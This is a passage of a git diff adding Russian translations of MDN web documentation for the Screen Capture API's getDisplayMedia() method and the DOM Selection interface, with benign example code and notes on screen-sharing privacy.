+<h3 id="MediaTrackSupportedConstraints">MediaTrackSupportedConstraints</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackSupportedConstraints.cursor")}}</dt>
+ <dd>A Boolean which is <code>true</code> if the user agent and device support the {{domxref("MediaTrackConstraints.cursor")}} constraint.</dd>
+ <dt>{{domxref("MediaTrackSupportedConstraints.displaySurface")}}</dt>
+ <dd>A Boolean which is <code>true</code> if the current environment supports the {{domxref("MediaTrackConstraints.displaySurface")}} constraint.</dd>
+ <dt>{{domxref("MediaTrackSupportedConstraints.logicalSurface")}}</dt>
+ <dd>A Boolean which is <code>true</code> if the current environment supports the constraint {{domxref("MediaTrackConstraints.logicalSurface")}}.</dd>
+</dl>
+
+<h2 id="Dictionaries">Dictionaries</h2>
+
+<p>The following dictionaries are defined by the Screen Capture API.</p>
+
+<dl>
+ <dt><code>CursorCaptureConstraint</code></dt>
+ <dd>An enumerated string type used to provide the value for the <code>cursor</code> property for the settings and constraints. The possible values are <code>always</code>, <code>motion</code>, and <code>never</code>.</dd>
+ <dt><code>DisplayCaptureSurfaceType</code></dt>
+ <dd>An enumerated string type which is used to identify the kind of display surface to capture. This type is used for the <code>displaySurface</code> property in the constraints and settings objects, and has the possible values <code>application</code>, <code>browser</code>, <code>monitor</code>, and <code>window</code>.</dd>
+</dl>
+
+<h2 id="Feature_Policy_validation">Feature Policy validation</h2>
+
+<p>{{Glossary("User agent", "User agents")}} that support Feature Policy (either using HTTP's {{HTTPHeader("Feature-Policy")}} header or the {{HTMLElement("iframe")}} attribute {{htmlattrxref("allow", "iframe")}}) can specify a desire to use the Screen Capture API using the policy control directive <code>display-capture</code>:</p>
+
+<pre class="brush: html">&lt;iframe allow="display-capture" src="/some-other-document.html"&gt;</pre>
+
+<p>The default allow list is <code>self</code>, which lets the any content within the document use Screen Capture.</p>
+
+<p>See <a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Using Feature Policy</a> for a more in-depth explanation of how Feature Policy is used.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Screen Capture')}}</td>
+   <td>{{Spec2('Screen Capture')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.MediaDevices.getDisplayMedia")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Screen_Capture_API/Using_Screen_Capture">Using the Screen Capture API</a></li>
+ <li>{{domxref("MediaDevices.getDisplayMedia()")}}</li>
+</ul>
diff --git a/files/ru/web/api/screen_capture_api/using_screen_capture/index.html b/files/ru/web/api/screen_capture_api/using_screen_capture/index.html
new file mode 100644
index 0000000000..43d7ace93d
--- /dev/null
+++ b/files/ru/web/api/screen_capture_api/using_screen_capture/index.html
@@ -0,0 +1,351 @@
+---
+title: Использование интерфейса Screen Capture API
+slug: Web/API/Screen_Capture_API/Using_Screen_Capture
+translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture
+---
+<p>{{DefaultAPISidebar("Screen Capture API")}}</p>
+
+<p><span class="seoSummary">В этой статье изучается использование програмного интерфейса  Screen Capture и его метода {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} для захвата потока экрана (всего или его части), его записи или передачи через сессию <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> .</span></p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание :</strong> Полезно отметить, что последние версии библиотеки <a href="https://github.com/webrtcHacks/adapter">WebRTC adapter.js</a>  включают реализацию метода <code>getDisplayMedia()</code> для обмена изображениями с экрана на браузерах, которые его поддерживают, но еще не реализуют текущий стандартный интерфейс, который реализован в последних версиях  Chrome, Edge, и Firefox.</p>
+</div>
+
+<h2 id="Захват_содержимого_экрана">Захват содержимого экрана</h2>
+
+<p>Захват содержимого экрана, как живого потока {{domxref("MediaStream")}} запускается вызовом метода {{domxref("MediaDevices.getUserMedia", "navigator.mediaDevices.getDisplayMedia()")}}, и возвращает экземпляр объекта промиса , который разрешается объектом потока, текущих медиаданных с экрана.</p>
+
+<figure>
+<figcaption><strong><em>Запуск захвата с экрана : в стиле <code>async</code>/<code>await</code> </em></strong></figcaption>
+
+<pre class="brush: js">async function startCapture(displayMediaOptions) {
+  let captureStream = null;
+
+  try {
+    captureStream = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
+  } catch(err) {
+    console.error("Error: " + err);
+  }
+  return captureStream;
+}</pre>
+
+<p>Можно написать этот код, используя асинхронную функцию и оператор <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/await">await</a></code> , как показано выше, или использовать тип {{jsxref("Promise")}} непосредственно, пример ниже.</p>
+
+<figure>
+<figcaption><strong><em>Запуска захвата с экрана: в стиле <code>Promise</code> </em></strong>
+
+<pre class="brush: js">function startCapture(displayMediaOptions) {
+ let captureStream = null;
+
+ return navigator.mediaDevices.getDisplayMedia(displayMediaOptions)
+    .catch(err =&gt; { console.error("Error:" + err); return null; });
+}</pre>
+
+<p>В любом случае {{Glossary("user agent")}} ответить отображением интерфейса диалога, запрашивающий у пользователя размер области захвата экрана. Обе реализации функции <code>startCapture()</code> возвращают объект типа  {{domxref("MediaStream")}} , содержащий захваченное с экрана изображение (съемку ?).</p>
+
+<p>Смотрим {{anch("Options and constraints")}}, ниже, подробнее о том, как указать желаемый тип поверхности, а также о других способах настройки результирующего потока.</p>
+
+<figure>
+<figcaption><strong><em>Пример окна, позволяющего пользователю выбрать поверхность дисплея для захвата</em></strong></figcaption>
+
+<p><a href="https://mdn.mozillademos.org/files/16365/Chrome-Screen-Capture-Window.png"><img alt="Screenshot of Chrome's window for picking a source surface" src="https://mdn.mozillademos.org/files/16365/Chrome-Screen-Capture-Window.png" style="height: 520px; width: 619px;"></a></p>
+</figure>
+
+<p>Затем можно использовать захваченный поток <code>captureStream</code>, везде, где принимается тип потока в качестве входных параметров.  Пример {{anch("Examples", "examples")}} ниже показывает несколько способов использования полученного типа потока </p>
+
+<h3 id="Видимые_или_логические_поверхности_отображения">Видимые или логические  поверхности отображения</h3>
+
+<p>Для целей интерфейса Screen Capture API, <strong>поверхность отображения </strong>- это любой объект контента, который может быть выбран API для целей совместного (общего) использования.Поверхности общего доступа включают в себя содержимое вкладки браузера, полное окно, все приложения окна, объединенные в одну поверхность, и монитор (или группу мониторов, объединенных в одну поверхность).</p>
+
+<p>Есть два типа поверхности дисплея. <strong>Видимая поверхность отображения </strong>- это поверхность, которая полностью видна на экране, например, переднее окно или вкладка или весь экран.</p>
+
+<p><strong>Логическая поверхность отображения</strong> - это поверхность, которая частично или полностью скрыта, либо в некоторой степени перекрывается  другим объектом, либо полностью скрытая или находиться вне экрана. Эти поверхности обрабатываются по другому. Как правило, браузер предоставляет изображение, которое каким-то образом скрывает скрытую часть поверхности логического дисплея, например размытие или замена цветом или рисунком. Это сделано из соображений безопасности, поскольку контент, который не может быть просмотрен пользователем, может содержать данные, которыми они не хотят делиться.</p>
+
+<p>Браузер может разрешить захват всего содержимого скрытого окна после получения разрешения от пользователя на это. В этом случае браузер может содержать затушеванный контент, либо путем получения текущего содержимого скрытой части окна, либо путем предоставления самого последнего видимого содержимого, если текущее содержимое недоступно.</p>
+
+<h3 id="Свойства_и_ограничения">Свойства и ограничения</h3>
+
+<p>Объект ограничений, передающийся в метод {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} является объектом типа {{domxref("DisplayMediaStreamConstraints")}} , который используется для конфигурации получаемого объекта потока.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание :</strong> В отличие от большинства применений ограничений в медиа-API, здесь он используется исключительно для определения конфигурации потока, а не для фильтрации доступных вариантов.</p>
+</div>
+
+<p>Существуют три новых ограничения, добавленныех в объект типа <code>MediaTrackConstraints</code> (а так же в  {{domxref("MediaTrackSupportedConstraints")}} и {{domxref("MediaTrackSettings")}}) для конфигурирования потока захвата экрана:</p>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.cursor", "cursor")}}</dt>
+ <dd>
+ <p>Указывает, следует ли захватывать курсор мыши и, если да, делать это постоянно или только во время движения мыши. Возможные значения:</p>
+
+ <dl>
+  <dt><code>always</code> </dt>
+  <dd>(всегда) Курсор мыши всегда захватывается в результирующий поток.</dd>
+  <dt><code>motion</code> </dt>
+  <dd>(в движении) Курсор должен быть видимым при его движении, и (на усмотрение  {{Glossary("user agent")}} ) на короткое время до и после движения. В покое курсор удаляется из потока.</dd>
+  <dt><code>never</code>   </dt>
+  <dd> (никогда) Курсор не появляетсяв результирующем потоке..</dd>
+ </dl>
+ </dd>
+ <dt>{{domxref("MediaTrackConstraints.logicalSurface", "logicalSurface")}}</dt>
+ <dd>Тип <code>Boolean</code> , при истинном значении определяет, что захват должен включать область за пределами экрана, если имеется.</dd>
+</dl>
+
+<p>Ни одно из ограничений никак не применяется до тех пор, пока не будет выбран контент для захвата. Ограничения изменяют то, что вы видите в полученном потоке</p>
+
+<p>К примеру, если определить ограничение  {{domxref("MediaTrackConstraints.width", "width")}} для видео, оно применится как масштабирование видео, после того, как пользователь выберет область, и не устанавливает ограничение на размер самого источника.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание :</strong> Ограничения никогда не вызывают изменений в списке источников, доступных для захвата API Sharing Screen. Это гарантирует, что веб-приложения не могут заставить пользователя делиться определенным контентом, ограничивая исходный список, пока не останется только один элемент.</p>
+</div>
+
+<p>В процессе захвата экрана машина, которая обменивается содержимым экрана, будет отображать какую-то форму индикатора, чтобы пользователь знал, что обмен находиться в процессе.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание :</strong> Из соображений конфиденциальности и безопасности источники совместного использования экрана не перечисляются с использованием метода {{domxref("MediaDevices.enumerateDevices", "enumerateDevices()")}}. По той-же причине, событие {{event("devicechange")}} никогда не вызывается, когда есть изменения в доступных источниках  при выполнении <code>getDisplayMedia()</code>.</p>
+</div>
+
+<h3 id="Захват_передаваемого_аудио">Захват передаваемого аудио</h3>
+
+<p>Метод {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} в основном используется для захвата видео пользовательского экрана или его части. Однако {{Glossary("user agent", "user agents")}} может позволить захватить аудио вместе с видео контентом. Источником аудио может быть выбранное окно, вся аудио система компьютера, или пользовательский микрофон (или их комбинация) .</p>
+
+<p>До запуска скрипта, который будет запрашивать возможность обмена аудио, проверте реализацию  {{SectionOnPage("/en-US/docs/Web/API/MediaDevices/getDisplayMedia", "Browser compatibility", "code")}} , для понимания браузерной совместимости с функциональностью захвата аудио в поток захвата экрана.</p>
+
+<p>Чтобы запросить доступ к экрану с включенным звуком, параметры ниже передаются в метод <code>getDisplayMedia()</code>:</p>
+
+<pre class="brush: js">const gdmOptions = {
+  video: true,
+  audio: true
+}
+</pre>
+
+<p>Это дает пользователю полную свободу выбора того, что он хочет, в пределах того, что поддерживает пользовательский агент. Это можно уточнить, указав дополнительную информацию для каждого свойства <code>audio</code> и <code>video</code>:</p>
+
+<pre class="brush: js">const gdmOptions = {
+  video: {
+    cursor: "always"
+  },
+  audio: {
+    echoCancellation: true,
+    noiseSuppression: true,
+    sampleRate: 44100
+  }
+}
+</pre>
+
+<p>В этом примере курсор всегда будет виден при захвате, и на звуковой дорожке в идеале должны быть включены функции подавления шума и эхоподавления, а также идеальная частота дискретизации звука 44,1 кГц</p>
+
+<p>Захват аудио всегда необязателен, и даже когда веб-контент запрашивает поток с аудио  и видео, возвращаемый {{domxref ("MediaStream")}} может по-прежнему иметь только одну видеодорожку без звука.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание :</strong> Некоторые свойства не реализованы широко и могут не использоваться движком. К примеру, <code>cursor </code><a href="/en-US/docs/Web/API/MediaTrackConstraints/cursor#Browser_compatibility">имеет ограниченную поддержку</a>.</p>
+</div>
+
+<h2 id="Using_the_captured_stream">Using the captured stream</h2>
+
+<p>The {{jsxref("promise")}} returned by {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} resolves to a {{domxref("MediaStream")}} that contains at least one video stream that contains the screen or screen area, and which is adjusted or filtered based upon the constraints specifed when <code>getDisplayMedia()</code> was called.</p>
+
+<h2 id="Security">Security</h2>
+
+<p>As is always the case when sharing content over a network, it's important to consider the privacy and safety implications of screen sharing.</p>
+
+<h3 id="Potential_risks">Potential risks</h3>
+
+<p>Privacy and security issues surrounding screen sharing are usually not overly serious, but they do exist. The largest potential issue is users inadvertently sharing content they did not wish to share.</p>
+
+<p>For example, privacy and/or security violations can easily occur if the user is sharing their screen and a visible background window happens to contain personal information, or if their password manager is visible in the shared stream. This effect can be amplified when capturing logical display surfaces, which may contain content that the user doesn't know about at all, let alone see.</p>
+
+<p>User agents which take privacy seriously should obfuscate content that is not actually visible onscreen, unless authorization has been given to share that content specifically.</p>
+
+<h3 id="Authorizing_capture_of_display_contents">Authorizing capture of display contents</h3>
+
+<p>Before streaming of captured screen contents can begin, the {{Glossary("user agent")}} will ask the user to confirm the sharing request, and to select the content to share.</p>
+</figcaption>
+</figure>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Simple_screen_capture">Simple screen capture</h3>
+
+<p>In this example, the contents of the captured screen area are simply streamed into a {{HTMLElement("video")}} element on the same page.</p>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p>There isn't all that much code needed in order to make this work, and if you're familiar with using {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} to capture video from a camera, you'll find {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} to be very familiar.</p>
+
+<h5 id="Setup">Setup</h5>
+
+<p>First, some constants are set up to reference the elements on the page to which we'll need access: the {{HTMLElement("video")}} into which the captured screen contents will be streamed, a box into which logged output will be drawn, and the start and stop buttons that will turn on and off capture of screen imagery.</p>
+
+<p>The object <code>displayMediaOptions</code> contains the {{domxref("MediaStreamConstraints")}} to pass into <code>getDisplayMedia()</code>; here, the {{domxref("MediaTrackConstraints.cursor", "cursor")}} property is set to <code>always</code>, indicating that the mouse cursor should always be included in the captured media.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Some properties are not widely implemented and might not be used by the engine. <code>cursor</code>, for example, <a href="/en-US/docs/Web/API/MediaTrackConstraints/cursor#Browser_compatibility">has limited support</a>.</p>
+</div>
+
+<p>Finally, event listeners are established to detect user clicks on the start and stop buttons.</p>
+
+<pre class="brush: js">const videoElem = document.getElementById("video");
+const logElem = document.getElementById("log");
+const startElem = document.getElementById("start");
+const stopElem = document.getElementById("stop");
+
+// Options for getDisplayMedia()
+
+var displayMediaOptions = {
+  video: {
+    cursor: "always"
+  },
+  audio: false
+};
+
+// Set event listeners for the start and stop buttons
+startElem.addEventListener("click", function(evt) {
+  startCapture();
+}, false);
+
+stopElem.addEventListener("click", function(evt) {
+  stopCapture();
+}, false);</pre>
+
+<h5 id="Logging_content">Logging content</h5>
+
+<p>To make logging of errors and other issues easy, this example overrides certain {{domxref("Console")}} methods to output their messages to the {{HTMLElement("pre")}} block whose ID is <code>log</code>.</p>
+
+<pre class="brush: js">console.log = msg =&gt; logElem.innerHTML += `${msg}&lt;br&gt;`;
+console.error = msg =&gt; logElem.innerHTML += `&lt;span class="error"&gt;${msg}&lt;/span&gt;&lt;br&gt;`;
+console.warn = msg =&gt; logElem.innerHTML += `&lt;span class="warn"&gt;${msg}&lt;span&gt;&lt;br&gt;`;
+console.info = msg =&gt; logElem.innerHTML += `&lt;span class="info"&gt;${msg}&lt;/span&gt;&lt;br&gt;`;</pre>
+
+<p>This allows us to use the familiar {{domxref("console.log()")}}, {{domxref("console.error()")}}, and so on to log information to the log box in the document.</p>
+
+<h5 id="Starting_display_capture">Starting display capture</h5>
+
+<p>The <code>startCapture()</code> method, below, starts the capture of a {{domxref("MediaStream")}} whose contents are taken from a user-selected area of the screen. <code>startCapture()</code> is called when the "Start Capture" button is clicked.</p>
+
+<pre class="brush: js">async function startCapture() {
+  logElem.innerHTML = "";
+
+  try {
+    videoElem.srcObject = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
+    dumpOptionsInfo();
+  } catch(err) {
+    console.error("Error: " + err);
+  }
+}</pre>
+
+<p>After clearing the contents of the log in order to get rid of any leftover text from the previous attempt to connect, <code>startCapture()</code> calls {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}, passing into it the constraints object defined by <code>displayMediaOptions</code>. Using {{jsxref("await")}}, the following line of code does not get executed until after the {{jsxref("promise")}} returned by <code>getDisplayMedia()</code> resolves. Upon resolution, the promise returns a {{domxref("MediaStream")}}, which will stream the contents of the screen, window, or other region selected by the user.</p>
+
+<p>The stream is connected to the {{HTMLElement("video")}} element by storing the returned <code>MediaStream</code> into the element's {{domxref("HTMLMediaElement.srcObject", "srcObject")}}.</p>
+
+<p>The <code>dumpOptionsInfo()</code> function—which we will look at in a moment—dumps information about the stream to the log box for educational purposes.</p>
+
+<p>If any of that fails, the <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">catch()</a></code> clause outputs an error message to the log box.</p>
+
+<h5 id="Stopping_display_capture">Stopping display capture</h5>
+
+<p>The <code>stopCapture()</code> method is called when the "Stop Capture" button is clicked. It stops the stream by getting its track list using {{domxref("MediaStream.getTracks()")}}, then calling each track's {domxref("MediaStreamTrack.stop, "stop()")}} method. Once that's done, <code>srcObject</code> is set to <code>null</code> to make sure it's understood by anyone interested that there's no stream connected.</p>
+
+<pre class="brush: js">function stopCapture(evt) {
+  let tracks = videoElem.srcObject.getTracks();
+
+  tracks.forEach(track =&gt; track.stop());
+  videoElem.srcObject = null;
+}</pre>
+
+<h5 id="Dumping_configuration_information">Dumping configuration information</h5>
+
+<p>For informational purposes, the <code>startCapture()</code> method shown above calls a method named <code>dumpOptions()</code>, which outputs the current track settings as well as the consrtaints that were placed upon the stream when it was created.</p>
+
+<pre class="brush: js">function dumpOptionsInfo() {
+  const videoTrack = videoElem.srcObject.getVideoTracks()[0];
+
+  console.info("Track settings:");
+  console.info(JSON.stringify(videoTrack.getSettings(), null, 2));
+  console.info("Track constraints:");
+  console.info(JSON.stringify(videoTrack.getConstraints(), null, 2));
+}</pre>
+
+<p>The track list is obtained by calling {{domxref("MediaStream.getVideoTracks", "getVideoTracks()")}} on the capture'd screen's {{domxref("MediaStream")}}. The settings currentoly in effect are obtained using {{domxref("MediaStreamTrack.getSettings", "getSettings()")}} and the established constraints are gotten with {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}}</p>
+
+<h4 id="HTML">HTML</h4>
+
+<p>The HTML starts with a simple introductory paragraph, then gets into the meat of things.</p>
+
+<ol>
+</ol>
+
+<pre class="brush: html">&lt;p&gt;This example shows you the contents of the selected part of your display.
+Click the Start Capture button to begin.&lt;/p&gt;
+
+&lt;p&gt;&lt;button id="start"&gt;Start Capture&lt;/button&gt;&amp;nbsp;&lt;button id="stop"&gt;Stop Capture&lt;/button&gt;&lt;/p&gt;
+
+&lt;video id="video" autoplay&gt;&lt;/video&gt;
+&lt;br&gt;
+
+&lt;strong&gt;Log:&lt;/strong&gt;
+&lt;br&gt;
+&lt;pre id="log"&gt;&lt;/pre&gt;</pre>
+
+<p>The key parts of the HTML are:</p>
+
+<ol>
+ <li>A {{HTMLElement("button")}} labeled "Start Capture" which, when clicked, calls the <code>startCapture()</code> function to request access to, and begin capturing, screen contents.</li>
+ <li>A second button, "Stop Capture", which upon being clicked calls <code>stopCapture()</code> to terminate capture of screen contents.</li>
+ <li>A {{HTMLElement("video")}} into which the captured screen contents are streamed.</li>
+ <li>A {{HTMLElement("pre")}} block into which logged text is placed by the intercepted {{domxref("Console")}}method.</li>
+</ol>
+
+<h4 id="CSS">CSS</h4>
+
+<p>The CSS is entirely cosmetic in this example. The video is given a border, and its width is set to occupy nearly the entire available horizontal space (<code>width: 98%</code>). {{cssxref("max-width")}} is set to <code>860px</code> to set an absolute upper limit on the video's size,</p>
+
+<p>The <code>error</code>, <code>warn</code>, and <code>info</code> classes are used to style the corresponding console output types.</p>
+
+<pre class="brush: css">#video {
+  border: 1px solid #999;
+  width: 98%;
+  max-width: 860px;
+}
+
+.error {
+  color: red;
+}
+
+.warn {
+  color: orange;
+}
+
+.info {
+  color: darkgreen;
+}</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>The final product looks like this. If your browser supports Screen Capture API, clicking "Start Capture" will present the {{Glossary("user agent", "user agent's")}} interface for selecting a screen, window, or tab to share.</p>
+
+<p>{{EmbedLiveSample("Simple_screen_capture", 640, 680, "", "", "", "display-capture")}}</p>
+
+<h2 id="Security_2">Security</h2>
+
+<p>In order to function when <a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a> is enabled, you will need the <code>display-capture</code> permission. This can be done using the {{HTTPHeader("Feature-Policy")}} {{Glossary("HTTP")}} header or—if you're using the Screen Capture API in an {{HTMLElement("iframe")}}, the <code>&lt;iframe&gt;</code> element's {{htmlattrxref("allow", "iframe")}} attribute.</p>
+
+<p>For example, this line in the HTTP headers will enable Screen Capture API for the document and any embedded {{HTMLElement("iframe")}} elements that are loaded from the same origin:</p>
+
+<pre>Feature-Policy: display-capture 'self'</pre>
+
+<p>If you're performing screen capture within an <code>&lt;iframe&gt;</code>, you can request permission just for that frame, which is clearly more secure than requesting a more general permission:</p>
+
+<pre class="brush: html">&lt;iframe src="https://mycode.example.net/etc" allow="display-capture"&gt;
+&lt;/iframe&gt;
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Screen_Capture_API">Screen Capture API</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Taking_still_photos">Taking still photos with WebRTC</a></li>
+ <li>{{domxref("HTMLCanvasElement.captureStream()")}} to obtain a {{domxref("MediaStream")}} with the live contents of a {{HTMLElement("canvas")}}</li>
+</ul>
+</figure>
diff --git a/files/ru/web/api/selection/getrangeat/index.html b/files/ru/web/api/selection/getrangeat/index.html
new file mode 100644
index 0000000000..b69ef6a122
--- /dev/null
+++ b/files/ru/web/api/selection/getrangeat/index.html
@@ -0,0 +1,118 @@
+---
+title: Selection.getRangeAt()
+slug: Web/API/Selection/getRangeAt
+translation_of: Web/API/Selection/getRangeAt
+---
+<div>
+<div>
+<div>
+<div>{{ ApiRef("DOM") }}{{SeeCompatTable}}</div>
+</div>
+</div>
+</div>
+
+<p>Метод <strong><code>Selection.getRangeAt()</code></strong> возвращает объект диапазона, который представляет один из диапазонов, выделенного на данный момент.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>range</em> = <em>sel</em>.getRangeAt(<em>index</em>)
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><em><code>range</code></em></dt>
+ <dd>Объект {{domxref("Range")}}, который будет возвращён.</dd>
+ <dt><em><code>index</code></em></dt>
+ <dd>Индекс диапазона, начинающийся с нуля, который необходимо вернуть. Отрицательное значение или значение выше или равное {{domxref("Selection.rangeCount")}} приведёт к ошибке.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush:js">var ranges = [];
+
+sel = window.getSelection();
+
+for(var i = 0; i &lt; sel.rangeCount; i++) {
+ ranges[i] = sel.getRangeAt(i);
+}
+/* Каждый элемент в массиве диапазонов является
+ * объектом диапазона, который представляет
+ * один из диапазонов текущего выделения */
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Editing', '#dom-selection-getrangeat', 'Selection.getRangeAt()')}}</td>
+   <td>{{Spec2('HTML Editing')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>Да</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Selection")}}, интерфейс, к которому принадлежит метод.</li>
+ <li><a href="/en-US/docs/XUL_Tutorial/Tree_Selection" title="XUL_Tutorial/Tree_Selection">Tree Selection</a> (для метода <code>getRangeAt()</code> в интерфейсе <code>nsITreeSelection</code>)</li>
+</ul>
diff --git a/files/ru/web/api/selection/index.html b/files/ru/web/api/selection/index.html
new file mode 100644
index 0000000000..183e9a7cb7
--- /dev/null
+++ b/files/ru/web/api/selection/index.html
@@ -0,0 +1,223 @@
+---
+title: Selection
+slug: Web/API/Selection
+tags:
+  - API
+  - Experimental
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - Selection
+  - TopicStub
+translation_of: Web/API/Selection
+---
+<div>{{ ApiRef("DOM") }}{{SeeCompatTable}}</div>
+
+<div>A <code><strong>Selection</strong></code> object represents the range of text selected by the user or the current position of the caret. To obtain a Selection object for examination or modification, call {{domxref("window.getSelection()")}}.</div>
+
+<div> </div>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("Selection.anchorNode")}}</dt>
+ <dd>Returns the {{domxref("Node")}} in which the selection begins.</dd>
+ <dt>{{domxref("Selection.anchorOffset")}}</dt>
+ <dd>Returns a number representing the offset of the selection's anchor within the anchorNode. If anchorNode is a text node, this is the number of characters within anchorNode preceding the anchor. If anchorNode is an element, this is the number of child nodes of the anchorNode preceding the anchor.</dd>
+ <dt>{{domxref("Selection.focusNode")}}</dt>
+ <dd>Returns the {{domxref("Node")}} in which the selection ends.</dd>
+ <dt>{{domxref("Selection.focusOffset")}}</dt>
+ <dd>Returns a number representing the offset of the selection's anchor within the focusNode. If focusNode is a text node, this is the number of characters within focusNode preceding the focus. If focusNode is an element, this is the number of child nodes of the focusNode preceding the focus.</dd>
+ <dt>{{domxref("Selection.isCollapsed")}}</dt>
+ <dd>Returns a Boolean indicating whether the selection's start and end points are at the same position.</dd>
+ <dt>{{domxref("Selection.rangeCount")}}</dt>
+ <dd>Returns the number of ranges in the selection.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<dl>
+ <dt>{{domxref("Selection.getRangeAt()")}}</dt>
+ <dd>Returns a {{domxref("Range")}} object representing one of the ranges currently selected.</dd>
+ <dt>{{domxref("Selection.collapse()")}}</dt>
+ <dd>Collapses the current selection to a single point.</dd>
+ <dt>{{domxref("Selection.extend()")}}</dt>
+ <dd>Moves the focus of the selection to a specified point.</dd>
+ <dt>{{domxref("Selection.modify()")}}{{non-standard_inline}}</dt>
+ <dd>Changes the current selection.</dd>
+ <dt>{{domxref("Selection.collapseToStart()")}}</dt>
+ <dd>Collapses the selection to the start of the first range in the selection.</dd>
+ <dt>{{domxref("Selection.collapseToEnd()")}}</dt>
+ <dd>Collapses the selection to the end of the last range in the selection.</dd>
+ <dt>{{domxref("Selection.selectAllChildren()")}}</dt>
+ <dd>Adds all the children of the specified node to the selection.</dd>
+ <dt>{{domxref("Selection.addRange()")}}</dt>
+ <dd>A {{domxref("Range")}} object that will be added to the selection.</dd>
+ <dt>{{domxref("Selection.removeRange()")}}</dt>
+ <dd>Removes a range from the selection.</dd>
+ <dt>{{domxref("Selection.removeAllRanges()")}}</dt>
+ <dd>Removes all ranges from the selection.</dd>
+ <dt>{{domxref("Selection.deleteFromDocument()")}}</dt>
+ <dd>Deletes the selection's content from the document.</dd>
+ <dt>{{domxref("Selection.toString()")}}</dt>
+ <dd>Returns a string currently being represented by the selection object, i.e. the currently selected text.</dd>
+ <dt>{{domxref("Selection.containsNode()")}}</dt>
+ <dd>Indicates if a certain node is part of the selection.</dd>
+</dl>
+
+<h2 id="Notes">Notes</h2>
+
+<h3 id="String_representation_of_a_selection">String representation of a selection</h3>
+
+<p>Calling the {{domxref("Selection.toString()")}} method returns the text contained in the selection, e.g.:</p>
+
+<pre class="brush: js">var selObj = window.getSelection();
+window.alert(selObj);
+</pre>
+
+<p>Note that using a selection object as the argument to <code>window.alert</code> will call the object's <code>toString</code> method.</p>
+
+<h3 id="Multiple_ranges_in_a_selection">Multiple ranges in a selection</h3>
+
